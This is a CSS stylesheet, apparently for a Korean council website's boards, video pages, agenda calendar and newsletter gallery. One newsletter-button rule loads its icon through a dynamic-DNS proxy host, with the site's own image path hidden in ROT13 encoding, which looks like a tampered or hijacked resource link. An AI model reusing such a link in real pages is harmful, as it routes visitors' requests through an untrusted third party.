    #attach_content .pdf_list .pdf_link iframe{width:520px !important;}

	.cast_list .img{width:24%;}
}
@media all and (max-width:820px){
	.vod_play .player{width:100%; max-width:100%; height:auto; text-align:center; margin:0 auto;}
	.vod_play .player video{width:100%;}
	.vod_play .comment{position:static; margin:10px 0 0 0; padding:0;}
	.vod_play .comment .tit{height:40px; padding:7px 0 0 40px; font-size:17px;}
	.vod_play .comment .txt{height:120px;}
	.vod_btns{padding:20px 0 30px;}
	.vod_list a{height:230px;}
}
@media all and (max-width:768px){
	.ico_new{margin:1px 0 0 3px;}
	.file_list{right:auto; left:20px; width:300px;}

    #pagingNav2{font-size:80%;}
    #pagingNav2 a{padding:5px 8px; margin:1px; border:1px solid #e0e0e0;}
    #pagingNav2 a:hover{color:#cb4222; border:1px solid #cb4222;}
    #pagingNav2 .num_current{padding:5px 8px; margin:0 1px; color:#fff; background:#3d65bf; border:1px solid #2526a3;}
    #pagingNav2 .num_first,
    #pagingNav2 .num_left,
    #pagingNav2 .num_right,
    #pagingNav2 .num_last{padding:5px; margin:0 1px; color:#555; border:1px solid #e0e0e0; background:none;}
    #pagingNav2 .num_left:hover,
    #pagingNav2 .num_first:hover,
    #pagingNav2 .num_right:hover,
    #pagingNav2 .num_last:hover{color:#cb4222; border:1px solid #cb4222;}

    .board_list {background:none;}
    .board_list colgroup,
	.board_list thead,
    .board_list td:first-child,
    .board_list td:nth-child(5){display:none;}

	.board_list tr{float:left; width:100%; padding:11px 2px 10px 5px; border-bottom:1px solid #d4d4d4; box-sizing:border-box;}
    .board_list td{display:block; position:relative; float:left; line-height:135%; padding:1px; border:none; box-sizing:border-box; text-align:left; color:#737373;}
	.board_list td.sbj,
	.board_list td.con{width:100%; padding:2px 1px 4px; font-weight:800; font-size:103%; color:#565656;}
	.board_list td:after{content:''; display:inline-block; width:1px; height:11px; margin:4px 12px 0 12px; vertical-align:top; background:#ccc;}
	.board_list td.sbj:after,
	.board_list td.con:after,
	.board_list td:last-child:after{display:none;}
	
	.bbs_bill td{width:50%; color:#565656; box-sizing:border-box;}
	.bbs_bill th + td{width:100%;}
	.bbs_bill td:first-child,
	.bbs_bill td:nth-child(5){display:block;}
	.bbs_bill td:before{content:attr(data-cell-header); display:inline-block; padding:0 4px 0 0; vertical-align:top; color:#565656;}
	.bbs_bill td:after{position:absolute; right:10px; top:50%; margin:-7px 0 0 0;}
	.bbs_bill td:first-child:after,
	.bbs_bill td:nth-child(even):after{display:none;}

	.board_view{background:none;}
    .board_view .sb_hit,
    .board_view .con_hit,
	.board_view colgroup{display:none;}
    .board_view thead th:last-child{font-size:110%; text-shadow:0 1px 0 #f3f3f3; background:linear-gradient(to bottom, rgba(255,255,255,1) 0%,rgba(255,255,255,1) 65%, rgba(237,237,237,1) 100%);}
	.board_view tr:first-child th,
	.normal tr:first-child th{width:20%;}
    #attach_content .pdf_list .pdf_link{width:95% !important;}
    #attach_content .pdf_list .pdf_link iframe{width:100% !important;}
	.board_view .btn{margin-bottom:2px;}
	.board_view .btn + span{line-height:43px; padding:0 5px;}
    
    .photo {text-align:center;}
    .photo li{padding:0 0.3em 1.5em 0.3em;}
    table.bbs_gallery div#attach_content_container {margin:0 auto 10px;max-width:330px;} /* 160325 배장호 */

	.board_search2 .total,
	.board_search2 form{width:100%; text-align:left;}
	.board_search2 .total{margin:0 0 0.3em 0;}

	#sub_auth #auth_opt .opt_list{width:100%;}
	#sub_auth #opt_phone{margin:0 0 25px;}

	.vod_tit .tit{font-size:21px;}
	.vod_tit p{line-height:110%; font-size:13px;}
	.vod_list .txt em{font-size:16px;}
}
@media all and (max-width:660px) {
	.vod_list a{height:200px;}
}
@media all and (max-width:568px) {
	.file_list{right:auto; left:-148px; width:280px;}
	.ico_file.on + .file_list{top:30px;}

	.table_wrap{overflow-x:auto; overflow-y:hidden;}
	.table_info{display:block;}
	.table_wrap .normal_list{width:567px;}
}
@media all and (max-width:530px){
	.vod_list li{width:47.5%;}
	.vod_list a{height:230px;}
}
@media all and (max-width:480px) {
	.board_view .board_movie{width:100%; margin:0 auto; text-align:center;}
	.board_view .btn + span{line-height:40px;}

	.vod_tit{padding:0 0 10px;}
	.vod_tit .tit{line-height:110%; font-size:18px;}
	.vod_tit p{font-size:12px;}
	.vod_play .comment .tit{height:35px; font-size:16px; padding:5px 0 0 35px; background-position:10px 50%;}
	.vod_play .comment .txt{height:100px; font-size:14px;}
	.vod_list a{height:195px;}
	.vod_list .txt{padding:20px 0 0 0;}
	.vod_list .txt:before{width:40px; height:40px; margin:0 0 0 -20px; background-size:100%;}
	.vod_list .txt em{font-size:15px;}
	.vod_list .txt .hit{line-height:100%;}
}
@media all and (max-width:430px) {
	.vod_play .comment .txt{height:90px;}
	.vod_list a{height:180px; padding:8px;}
}
@media all and (max-width:380px) {
	.table_info{font-size:12px;}
	.vod_list a{height:165px;}
	.board_list,
	.normal_list{font-size:14px;}
	.board_view .btn + span{line-height:37px;}
}

#sub_agenda .btns{position:relative; float:left; height:60px; width:100%;}
#sub_agenda .btn_left{position:absolute; top:0; left:0;}
#sub_agenda h3{line-height:37px; font-family:"Titillium Web"; font-size:42px; text-align:right;}
#sub_agenda .btn_right{left:auto; right:0;}
#sub_agenda .btns .btn{min-width:0; height:40px; line-height:38px;}
#sub_agenda .btns .today{color:#555; background:#fcf8e3;}
#sub_agenda .btns .btn.active{opacity:0.7;}
#sub_agenda .btn-group {margin-left:2px;}
#sub_agenda .btn-group .btn{margin-left:1px;}
#sub_agenda .calendar{width:100%; table-layout:fixed; border-collapse:collapse; margin:0 0 20px 0; font-size:16px; font-weight:400;}
#sub_agenda .calendar th{padding:10px 0; color:#fff; background:#3c4968; border:1px solid rgba(255,255,255,0.3);}
#sub_agenda .calendar td{height:113px; line-height:120%; vertical-align:top !important; padding:2px; text-align:right; border:1px solid #ddd;}
#sub_agenda .calendar td.today{background:#fcf8e3;}
#sub_agenda .calendar .calendarView{display:block; overflow:hidden; width:96%; padding:3px 1px; margin:0 auto 1px; font-size:14px; color:#333; line-height:120%; white-space:nowrap; text-overflow:ellipsis; text-align:center; color:#fff; background:#056fd7; border-radius:2px;}
#sub_agenda .calendar .sun{color:red;}
#sub_agenda .calendar .sat{color:blue;}
#sub_agenda .calendar td.other{opacity:0.3; background:#eee;}
@media all and (max-width:768px) {
    #sub_agenda .btns{height:50px;}
	#sub_agenda .btns .btn{height:35px; line-height:33px; font-size:14px;}
    #sub_agenda h3{line-height:30px;}
    #sub_agenda .calendar td{height:70px;}
    #sub_agenda .calendar .calendarView{font-size:13px;}
	#sub_agenda .bbs_bill tr td:first-child{display:none;}
}
@media all and (max-width:568px) {
	#sub_agenda .btns{height:auto; text-align:left;}
	#sub_agenda .btn_left{position:static;}
	#sub_agenda .btns .btn{height:32px; line-height:30px; font-size:13px;}
    #sub_agenda h3{clear:both; width:100%; padding:10px 0 15px; line-height:26px; font-size:28px; text-align:center;}
    #sub_agenda .calendar{font-size:14px;}
    #sub_agenda .calendar td{height:55px;}
}
@media all and (max-width:380px) {
    #sub_agenda h3{line-height:24px; font-size:27px;}
	#sub_agenda .btns .btn{height:28px; line-height:26px;}
	#sub_agenda .calendar .calendarView{font-size:12px;}
}

/* 소식지 */
.magazine {float:left; width:calc(100% + 18px); margin:0 -9px 30px;}
.magazine li{float:left; width:33.333%; padding:0 9px 24px; text-align:center; box-sizing:border-box;}
.magazine .inner{float:left; width:100%; padding:31px 0 0 0; border:1px solid #e5e5e5; box-sizing:border-box;}
.magazine .inner:hover{border-color:#756ab9; box-shadow:0 0 0 1px #756ab9; transition:0.2s ease-in-out;}
.magazine .img_wrap{display:block; padding:0 10px;}
.magazine .img{position:relative; display:inline-block; vertical-align:top;}
.magazine .img:before{opacity:0; visibility:hidden; content:''; display:block; position:absolute; top:0; left:0; width:100%; height:100%; background:rgba(60,73,104,0.95); transition:0.25s ease-in-out;}
.magazine .view{opacity:0; visibility:hidden; position:absolute; top:50%; left:50%; display:block; width:110px; height:45px; line-height:46px; margin:-22px 0 0 -55px; color:#fff; border-radius:45px; background:#1398a1;  transition:0.3s ease-in-out;}
.magazine .inner:hover .img:before,
.magazine .inner:hover .view,
.magazine .img_wrap:hover .img:before,
.magazine .img_wrap:hover .view{opacity:1; visibility:visible;}
.magazine .img img{max-width:206px; height:292px;}
.magazine .sbj{display:block; padding:15px 0 18px; font-size:17px; font-weight:400; color:#333; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
.magazine .btns{height:46px; background:#eee;}
.magazine .date{float:left; padding:12px 0 0 22px; font-size:15px; color:#666;}

.magazine .btn{float:right; width:110px; height:100%; line-height:46px; min-width:0; padding:0; font-size:14px; color:#fff; background:#756ab9;}
.magazine .btn:hover{background:#6153b8;}
.magazine .btn:after{content:''; display:inline-block; vertical-align:middle; width:10px; height:17px; margin:-3px 0 0 8px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 0 -154px;}
.magazine .btn:hover:after{background-position:0 -133px; transition:0.25s ease-in-out;}

@media all and (max-width:1024px) {
	.magazine .img img{height:250px; max-width:100%;}
}
@media all and (max-width:768px) {
	.magazine .inner{padding:25px 0 0 0;}
	.magazine .img img{height:210px;}
	.magazine .date{padding:9px 0 0 11px; font-size:13px;}
	.magazine .btns{height:40px;}
	.magazine .btn{width:86px; line-height:40px; font-size:13px;}
	.magazine .btn:after{margin-left:6px;}
}
@media all and (max-width:568px) {
	.magazine .inner{padding:20px 0 0 0;}
	.magazine li{width:50%;}
	.magazine .img img{height:190px;}
	.magazine .sbj{font-size:16px;}
}
@media all and (max-width:380px) {
	.magazine{width:calc(100% + 10px); margin:0 -5px;}
	.magazine li{padding:0 5px 15px;}
	.magazine .inner{padding:16px 0 0 0;}
	.magazine .img img{height:160px;}
	.magazine .sbj{padding:13px 0 15px; font-size:15px;}
	.magazine .date{padding:9px 0 0 8px; font-size:12px;}
	.magazine .btn{width:72px; font-size:12px;}
	.magazine .btn:after{margin-left:4px;}
}

/*의사일정달력스크롤없앰*/
.fc-scroller.fc-day-grid-container{overflow:auto !important; height:auto !important;}